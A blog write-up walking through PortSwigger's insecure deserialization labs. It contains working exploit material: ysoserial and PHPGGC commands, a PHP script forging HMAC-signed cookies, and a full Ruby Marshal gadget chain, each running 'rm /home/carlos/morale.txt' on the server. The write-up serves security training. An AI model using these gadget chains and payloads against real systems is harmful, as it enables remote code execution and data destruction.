Sitemap

Insecure De-serialization

10 min readJan 6, 2024

--

Serialization is the process of converting complex data structures, such as objects and their fields, into a “flatter” format that can be sent and received as a sequential stream of bytes

Deserialization is the process of restoring this byte stream to a fully functional replica of the original object, in the exact state as when it was serialized. The website’s logic can then interact with this deserialized object, just like it would with any other object

Press enter or click to view image in full size

In this writeup, i will take you through all the Insecure De-serialization labs provided by https://portswigger.net/web-security/deserialization

Lab: Modifying serialized data types

Press enter or click to view image in full size

We will begin the lab by simply login in with the provided credentials and observe how the application behaves.

Press enter or click to view image in full size

A close look at the response from burp, we get a set cookie that is base64 encoded with which we can use the inspector or the decoder to decode.

Press enter or click to view image in full size

The cookie value has two parts; the username and the access token.

Accessing the Admin

We can try changing the value of wiener to administrator, and use the access token as an integer i;0, and finally change the length of the string ‘wiener’ to that of the ‘administrator’ in this case, we could use the echo command to determine the length of the string ‘administrator’.

echo -n 'administrator' | wc -c

>13
Press enter or click to view image in full size
modified string, username and access token

When we visit /admin we get logged in as admin.

We can now delete the user carlos and solve the lab.

Lab: Exploiting Java deserialization with Apache Commons

Press enter or click to view image in full size

This lab utilizes java object serialization, the lab will require you to be able to identify serialization & deserialization of data. In this case, we can tell the type of serialization used from the request in burp.

Press enter or click to view image in full size
serialized java object encoded in base64

From the above Cookie: session rO0; indicates that this is a serialized java object that has been base 64 encoded.

Note:
serialized objects beginning with:
1. ac ed > indicates a java object that is encoded as hexadecimal.
2. rO0 > indicates a java object that is encoded as base64.

3. O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;} > indicates php serialization format

When we decode the cookie session with the inspector, we clearly see that the serialized object is of class AccessTokenUser which has; accessToken and username attributes as shown in the screenshot below.

What we know so far

  1. The session cookie is using a serialized java object
  2. The token has two fields, the AccessToken and the username
  3. we need to delete the file

With this information, we do not have much to go by but try to craft a payload with which we can swap with the cookie session of the application and force access to the backend of the application to execute as AcessUserToken.

To achieve this, we need to use the tool ysoserial which is a tool for generating payloads that exploit unsafe java serialized objects.

Ysoserial usage

Press enter or click to view image in full size
java -jar ysoserial-all.jar -h

In this instance, we will be using the payload as: CommonsCollections4 and the command as the path to be deleted: ‘rm /home/carlos/morale.txt’

Lets generate our payload.

Press enter or click to view image in full size
java -jar ysoserial-all.jar CommonsCollections4 ‘rm /home/carlos/morale.txt’ | base64 -w 0 > cookie.txt

We pipe the output to cookie.txt to get rid of the unnecessary spaces | base64 -w 0 > cookie.txt

Press enter or click to view image in full size

With this payload, we can replace our cookie value to that of the generated payload and url encode it.

Press enter or click to view image in full size

We get a 500 internal error but upon refreshing the lab we realise that we have solved the lab.

Press enter or click to view image in full size

This means that despite the application failing to get a valid AccessTokenUser still our payload did execute in the back end.

Lab: Using application functionality to exploit insecure deserialization

This lab utilizes a serialized PHP cookie object mechanism.

There is a file located at ‘/home/carlos/morale.txt’ that we need to delete in order to solve the lab.

We are provided with two login details:

wiener:peter,gregg:rosebud

First we start by login in to one of these accounts.

Notice the delete account at the bottom of the page.

Send the Delete account request to burp and and observe the decoded cookie with the inspector.

Press enter or click to view image in full size

Notice the serialized php code and observe the path “users/wiener/avatar” with content length 19.

Remember the path ‘/home/carlos/morale.txt’ that we are required to delete in order to solve the lab.

What happens when we replace this path with the current path?

s:23:”/home/carlos/morale.txt”;

Notice that the content length changes with the path.

Apply the changes and send the request.

Press enter or click to view image in full size

Congratulations you’ve solved the lab.

— — — — —

Lab: Arbitrary object injection in PHP

In this lab, we are required to delete a file located at ‘/home/carlos/morale.txt’ to achieve this, we will read the source code of the lab by appending a a tilde (~) to a file name to generate a backup file.

With burp suite running, login to your account and switch to site map in burp to locate the extension file.

Press enter or click to view image in full size

Notice the /libs/CustomTemplate.php extension. Send this to the repeater.

Get Iam_Wander’s stories in your inbox

Join Medium for free to get updates from this writer.

Once in the repeater, append the .php extention with a tilde(~) and notice the source code.

Press enter or click to view image in full size

Observe that there is a custom template with function __destruct() at the end of the response. This has a lock_file_path attribute which will delete the file path.

Using the inspector, notice that the application uses a serialized php object that is url encoded.

What happens when we write our own serialized PHP object using the CustomTemplate we discovered from the tilde above and replace it with existing cookie value?

"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

Note we used the integer as 1 since we are only using one attribute “lock_file_path”.

Apply the changes and forward the request , notice you get a 500 Internal Server Error. Proceed to refresh the lab to solve it.

Press enter or click to view image in full size

Lab: Exploiting PHP de serialization with a pre-built gadget chain

This lab utilizes a signing cookie and a PHP Framework. To solve the lab, we will have to identify if the PHP framework is vulnerable to an RCE exploit and craft a base64 object which we can use with the secret key to generate a valid session cookie. We will swap this cookie with the original cookie and therefore be able to delete the file ‘morale.txt’ located in ‘/home/carlos’

Press enter or click to view image in full size

We start the lab by logging into our account using wiener:peter

Observe the cookie value from the inspector tab.

Press enter or click to view image in full size

Notice the cookie contains a token signed with a SHA-1 HMAC hash

Exposing PHP Framework

Observe that whenever you try to modify the session cookie, the application throws an error as shown below.

Press enter or click to view image in full size

This is a useful clue, now we know the application run a php framework Symfony version 4.3.6, a mere googling for its RCE exploit, we get even more useful clues about what tool to use to generate an un serialized payload.

The PHPGGC: PHP Generic Gadget Chains

Using this tool, we can create an un serialized payload and base64 encode it. We can move ahead to create a near valid cookie session with this payload using a php scripted payload.

<?php $object = "OBJECT-GENERATED-BY-PHPGGC"; $secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP"; $cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}'); echo $cookie;

We can also create a valid session cookie from the CLI as follows;

command=$(./phpggc -f -b Symfony/RCE1 "rm /home/carlos/morale.txt");x=$( echo -n $command);y=$(echo -n $x | openssl sha1 -hmac "g8ffja92adxkuz3681mg16suuoo3sbxd" | cut -c 14-);urlencode '{"token":"'$x'","sig_hmac_sha1":"'$y'"}'

PHPGCC tool Usage

Execute ./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w 0 to generate the serialized object, theusing flags -w 0 helps to get rid of the spaces in the base64 encoded object.

Press enter or click to view image in full size

Developer Comments

Looking for developer comments from burp, we can see a path that discloses a debug file

/cgi-bin/phpinfo.php

Press enter or click to view image in full size

You can also find this path by simply fuzzing for hidden directories using ffuf,dirb or gobuster.

Request the path using burp suite and observe that a sensitive secret key gets disclosed.

Press enter or click to view image in full size

Now lets create a valid session token using the payload from the phpggc tool and assign it with the secret key obtained.

<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "7vb4gga40fr05m75bwb8q4lwlqncuo3m";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

Run the exploit

Press enter or click to view image in full size

Replace the generated cookie with the original cookie;

Press enter or click to view image in full size

Send the request and refresh the lab to solve.

Press enter or click to view image in full size

Lab: Exploiting Ruby deserialization using a documented gadget chain

This lab uses a serialization-based session mechanism and the Ruby on Rails framework.

To be able to solve the lab, we will use a documented exploit and customize it to create a serialized object containing an RCE Payload. We will replace our session cookie to this serialized payload to be able to delete the file, Morale.txt

We start the lab by logging into our account, ensure that you proxy your requests through burp.

Press enter or click to view image in full size
Press enter or click to view image in full size

Decoding the cookie session shows marshall-dump ‘conversion to byte array’ for the object and a marshal-load which tries to reconstruct the object, this clearly indicates that the object is ruby serialized.

What next?

With this knowledge, we can try craft an exploit with the command we need to execute, in this case ‘rm /home/carlos/morale.txt’

in this case, we will use a Universal Deserialisation Gadget for Ruby 2.x-3.x exploit by Vaks https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html and replace the parameters to the final exploit shown below.

Before configure and after

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload

Notice:

the id parameter is replaced with ‘rm /home/carlos/morale.txt’

i deleted the last two lines and replaced with puts payloads as i will base64 encode it on the terminal.

Running the Exploit

Once you save the exploit, eg, exploit.rb . You can run it in either two ways on the terminal

$ ruby exploit.rb | base64 -w 0
$ chmod +x exploit.rb 
$ ./exploit.rb
Press enter or click to view image in full size

Url encode the generated object and replace it with your session cookie. Refresh to solve the lab.

Press enter or click to view image in full size
Press enter or click to view image in full size

--

--